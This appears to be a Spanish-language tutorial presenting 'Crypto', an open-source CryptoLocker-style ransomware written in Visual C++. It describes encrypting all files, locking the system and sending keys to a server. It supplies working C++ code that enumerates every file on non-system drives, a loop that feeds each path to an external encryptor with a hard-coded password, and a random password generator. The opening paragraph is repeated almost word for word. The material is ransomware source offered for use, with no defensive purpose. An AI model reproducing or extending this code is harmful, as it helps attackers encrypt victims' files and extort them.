
CryptoLocker es un encriptador de archivos de código abierto. Crypto está desarrollado en Visual C++. Tiene funciones para encriptar todos los archivos, bloquear el sistema y enviar las claves de vuelta al servidor. La funcionalidad multi-hilo ayuda a que esta herramienta haga el cifrado más rápido.
Crypto es un Crypto-Locker de código abierto. Crypto está desarrollado en Visual C++. Tiene características para cifrar todos los archivos, bloquear el sistema y enviar las claves de vuelta al servidor. La funcionalidad de múltiples hilos ayuda a esta herramienta a hacer el cifrado más rápido.
Usando un potente algoritmo de cifrado de 256 bits, una vez que un archivo está cifrado, el archivo es completamente inútil sin la contraseña. Simplemente no se puede leer.
Obteniendo todos los archivos de todas las unidades para cifrarlos.
Aquí hay un programa en Visual C++ que obtiene toda la lista de directorios y archivos en la unidad y almacena la ruta en un archivo de texto para su uso posterior en el cifrado. Utilizo las bibliotecas Boost C++ para obtener la lista de todos los archivos. Configure primero las bibliotecas Boost para compilar el programa.
#include <boost/config/warning_disable.hpp>
#include <boost/filesystem.hpp>
#include <iostream>
#include <iterator>
#include <stdio.h>
#include <windows.h>
using namespace std;
fstream out_file("data.txt", ios::out);
#define MAX 256
int main(int argc, char* argv[]) {
int dr_type = 99;
char dr_avail[MAX];
char *temp = dr_avail;
/* 1st we fill the buffer */
GetLogicalDriveStrings(MAX, dr_avail);
while (*temp != NULL) { // Split the buffer by null
dr_type = GetDriveType(temp);
char skip[10] = "C:\\";
if (dr_type == 3 && temp[0] != 'C') {
boost::system::error_code dir_error;
for (boost::filesystem::recursive_directory_iterator end, dir(temp, dir_error); dir != end; dir.increment(dir_error)) {
if (dir_error.value()) {
cerr << "Error accessing file: " << dir_error.message() << endl;
}
else {
cout << dir->path() << endl;
out_file << dir->path() << "\n";
}
}
}
temp += lstrlen(temp) + 1;
}
out_file.close();
system("pause");
Aquí, primero obtengo cada ruta de archivo de "data.txt" línea por línea y la envío a esta herramienta de cifrado con el tipo de cifrado y la contraseña. También puedes incrustar todo este programa en el bucle superior para obtener la ruta y cifrar datos de forma recursiva.
out_file.open("data.txt", ios::in);
string line;
while (out_file.good()) {
getline(out_file, line);
cout << line << endl;
std::string cmmd = "crpt.exe -e -p 4321 ";
cmmd += line;
system(cmmd.c_str());
}
Envía la longitud a la función y la función devuelve una contraseña larga compleja generada que puedes usar para el cifrado.
string RandomString(int len)
{
srand(time(0));
string str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
string newstr;
int pos;
while (newstr.size() != len) {
pos = ((rand() % (str.size() - 1)));
newstr += str.substr(pos, 1);
}
return newstr;
}